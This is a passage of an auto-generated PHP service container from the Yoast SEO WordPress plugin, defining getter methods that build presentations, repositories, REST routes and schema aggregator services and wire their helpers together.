$instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Static_Home_Page_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Static_Home_Page_Presentation */ protected function getIndexableStaticHomePagePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Home_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Static_Home_Page_Presentation(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService())); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Static_Posts_Page_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Static_Posts_Page_Presentation */ protected function getIndexableStaticPostsPagePresentationService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService()); $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Posts_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Static_Posts_Page_Presentation(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())), $a, ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService())); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); $instance->set_archive_adjacent_helpers($a); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Term_Archive_Presentation' shared autowired service. * * @return \Yoast\WP\SEO\Presentations\Indexable_Term_Archive_Presentation */ protected function getIndexableTermArchivePresentationService() { $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Term_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Term_Archive_Presentation(($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService())); $instance->set_generators(($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] ?? $this->getSchemaGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] ?? ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())), ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] ?? $this->getOpenGraphImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] ?? $this->getTwitterImageGeneratorService()), ($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] ?? $this->getBreadcrumbsGeneratorService())); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper()))); $instance->set_archive_adjacent_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Promotions\Application\Promotion_Manager' shared autowired service. * * @return \Yoast\WP\SEO\Promotions\Application\Promotion_Manager */ protected function getPromotionManagerService() { return $this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] = new \Yoast\WP\SEO\Promotions\Application\Promotion_Manager(new \Yoast\WP\SEO\Promotions\Domain\Black_Friday_Promotion()); } /** * Gets the public 'Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository */ protected function getIndexableCleanupRepositoryService() { return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository'] = new \Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] ?? $this->getAuthorArchiveHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository */ protected function getIndexableHierarchyRepositoryService() { $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] = $instance = new \Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository(); $instance->set_builder(($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] ?? $this->getIndexableHierarchyBuilderService())); $instance->set_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Repositories\Indexable_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Repositories\Indexable_Repository */ protected function getIndexableRepositoryService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] ?? $this->getIndexableHierarchyRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'])) { return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']; } $b = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'])) { return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']; } return $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] = new \Yoast\WP\SEO\Repositories\Indexable_Repository($b, ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] ?? ($this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] = new \Yoast\WP\SEO\Loggers\Logger())), $a, ($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager'] ?? $this->getIndexableVersionManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Repositories\Primary_Term_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Repositories\Primary_Term_Repository */ protected function getPrimaryTermRepositoryService() { return $this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository(); } /** * Gets the public 'Yoast\WP\SEO\Repositories\SEO_Links_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Repositories\SEO_Links_Repository */ protected function getSEOLinksRepositoryService() { return $this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] = new \Yoast\WP\SEO\Repositories\SEO_Links_Repository(); } /** * Gets the public 'Yoast\WP\SEO\Routes\Alert_Dismissal_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Alert_Dismissal_Route */ protected function getAlertDismissalRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route'] = new \Yoast\WP\SEO\Routes\Alert_Dismissal_Route(($this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] ?? $this->getAlertDismissalActionService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\First_Time_Configuration_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\First_Time_Configuration_Route */ protected function getFirstTimeConfigurationRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route'] = new \Yoast\WP\SEO\Routes\First_Time_Configuration_Route(($this->services['Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action'] ?? $this->getFirstTimeConfigurationActionService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\Importing_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Importing_Route */ protected function getImportingRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route'] = new \Yoast\WP\SEO\Routes\Importing_Route(($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] ?? $this->getImportableDetectorServiceService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action'] ?? $this->getAioseoCleanupActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] ?? $this->getAioseoCustomArchiveSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] ?? $this->getAioseoDefaultArchiveSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] ?? $this->getAioseoGeneralSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] ?? $this->getAioseoPostsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] ?? $this->getAioseoPosttypeDefaultsSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] ?? $this->getAioseoTaxonomySettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action'] ?? $this->getAioseoValidateDataActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action'] ?? $this->getDeactivateConflictingPluginsActionService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\Indexables_Head_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Indexables_Head_Route */ protected function getIndexablesHeadRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route'] = new \Yoast\WP\SEO\Routes\Indexables_Head_Route(($this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action'] ?? $this->getIndexableHeadActionService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\Indexing_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Indexing_Route */ protected function getIndexingRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Indexing_Route'] = new \Yoast\WP\SEO\Routes\Indexing_Route(($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] ?? $this->getIndexablePostIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] ?? $this->getIndexableTermIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] ?? $this->getIndexablePostTypeArchiveIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] ?? $this->getIndexableGeneralIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] ?? $this->getIndexableIndexingCompleteActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action'] ?? $this->getIndexingCompleteActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action'] ?? $this->getIndexingPrepareActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] ?? $this->getPostLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] ?? $this->getTermLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\Integrations_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Integrations_Route */ protected function getIntegrationsRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Integrations_Route'] = new \Yoast\WP\SEO\Routes\Integrations_Route(($this->services['Yoast\\WP\\SEO\\Actions\\Integrations_Action'] ?? $this->getIntegrationsActionService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\Meta_Search_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Meta_Search_Route */ protected function getMetaSearchRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Meta_Search_Route'] = new \Yoast\WP\SEO\Routes\Meta_Search_Route(); } /** * Gets the public 'Yoast\WP\SEO\Routes\SEMrush_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\SEMrush_Route */ protected function getSEMrushRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\SEMrush_Route'] = new \Yoast\WP\SEO\Routes\SEMrush_Route(($this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action'] ?? $this->getSEMrushLoginActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action'] ?? $this->getSEMrushOptionsActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action'] ?? $this->getSEMrushPhrasesActionService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\Supported_Features_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Supported_Features_Route */ protected function getSupportedFeaturesRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Supported_Features_Route'] = new \Yoast\WP\SEO\Routes\Supported_Features_Route(); } /** * Gets the public 'Yoast\WP\SEO\Routes\Wincher_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Wincher_Route */ protected function getWincherRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Wincher_Route'] = new \Yoast\WP\SEO\Routes\Wincher_Route(($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action'] ?? $this->getWincherLoginActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action'] ?? $this->getWincherAccountActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action'] ?? $this->getWincherKeyphrasesActionService())); } /** * Gets the public 'Yoast\WP\SEO\Routes\Workouts_Route' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Workouts_Route */ protected function getWorkoutsRouteService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Workouts_Route'] = new \Yoast\WP\SEO\Routes\Workouts_Route(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Routes\Yoast_Head_REST_Field' shared autowired service. * * @return \Yoast\WP\SEO\Routes\Yoast_Head_REST_Field */ protected function getYoastHeadRESTFieldService() { return $this->services['Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field'] = new \Yoast\WP\SEO\Routes\Yoast_Head_REST_Field(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action'] ?? $this->getIndexableHeadActionService())); } /** * Gets the public 'Yoast\WP\SEO\Schema\Application\Configuration\Schema_Configuration' shared autowired service. * * @return \Yoast\WP\SEO\Schema\Application\Configuration\Schema_Configuration */ protected function getSchemaConfigurationService() { return $this->services['Yoast\\WP\\SEO\\Schema\\Application\\Configuration\\Schema_Configuration'] = new \Yoast\WP\SEO\Schema\Application\Configuration\Schema_Configuration(($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Schema\Infrastructure\Disable_Schema_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Schema\Infrastructure\Disable_Schema_Integration */ protected function getDisableSchemaIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Schema\\Infrastructure\\Disable_Schema_Integration'] = new \Yoast\WP\SEO\Schema\Infrastructure\Disable_Schema_Integration(); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Aggregator_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Aggregator_Conditional */ protected function getSchemaAggregatorConditionalService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Aggregator_Conditional'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Aggregator_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Aggregator_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Aggregator_Watcher */ protected function getSchemaAggregatorWatcherService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Aggregator_Watcher'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Aggregator_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Cache\Indexables_Update_Listener_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Cache\Indexables_Update_Listener_Integration */ protected function getIndexablesUpdateListenerIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Cache\\Indexables_Update_Listener_Integration'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Cache\Indexables_Update_Listener_Integration(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config())), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Manager'] ?? $this->getManagerService()), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Xml_Manager'] ?? $this->getXmlManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Cache\WooCommerce_Product_Type_Change_Listener_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Cache\WooCommerce_Product_Type_Change_Listener_Integration */ protected function getWooCommerceProductTypeChangeListenerIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Cache\\WooCommerce_Product_Type_Change_Listener_Integration'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Cache\WooCommerce_Product_Type_Change_Listener_Integration(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config())), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Manager'] ?? $this->getManagerService()), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Xml_Manager'] ?? $this->getXmlManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Cache_Cli_Command' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Cache_Cli_Command */ protected function getSiteSchemaAggregatorCacheCliCommandService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Cache_Cli_Command'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Cache_Cli_Command(($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config())), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Manager'] ?? $this->getManagerService()), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Xml_Manager'] ?? $this->getXmlManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Cli_Command' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Cli_Command */ 